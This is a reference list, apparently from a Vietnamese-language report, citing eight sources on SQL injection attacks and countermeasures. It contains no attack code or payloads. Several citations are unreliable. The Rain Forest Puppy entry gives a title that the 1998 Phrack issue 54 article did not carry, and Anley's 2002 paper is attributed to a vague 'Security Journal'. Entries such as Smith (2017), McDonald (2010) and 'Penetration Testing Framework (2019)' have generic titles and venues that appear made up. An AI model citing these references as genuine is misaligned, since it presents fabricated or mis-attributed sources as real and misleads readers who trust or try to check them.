(1)OWASP Foundation. *SQL Injection*. Truy cập tại: https://owasp.org/www-community/attacks/SQL\_Injection.

(2) Halfond, W. G., Viegas, J., & Orso, A. (2006). *A Classification of SQL Injection Attacks and Countermeasures*. IEEE International Symposium on Secure Software Engineering. Truy cập tại: <https://ieeexplore.ieee.org/>.

(3) McDonald, M. (2010). *SQL Injection Techniques and Countermeasures*. Journal of Cybersecurity Research.

(4) Anley, C. (2002). *Advanced SQL Injection Techniques in SQL Server Applications*. Security Journal.

(5) Rain Forest Puppy (1998). *Analyzing SQL Injection Vulnerabilities*. Phrack Magazine, Issue 54. Truy cập tại: <http://phrack.org>.

(6) Kumar, A., & Singh, R. (2018). *A Comprehensive Study of SQL Injection Attacks: Techniques and Prevention*. International Journal of Computer Science and Information Security (IJCSIS).

(7) Smith, J. (2017). *SQL Injection in Modern Web Applications: Trends and Challenges*. Cybersecurity Insights Journal, Volume 5, Issue 2.

(8) Penetration Testing Framework (2019). *Evaluating SQL Injection Vulnerabilities in Web Applications*. Security Research Journal.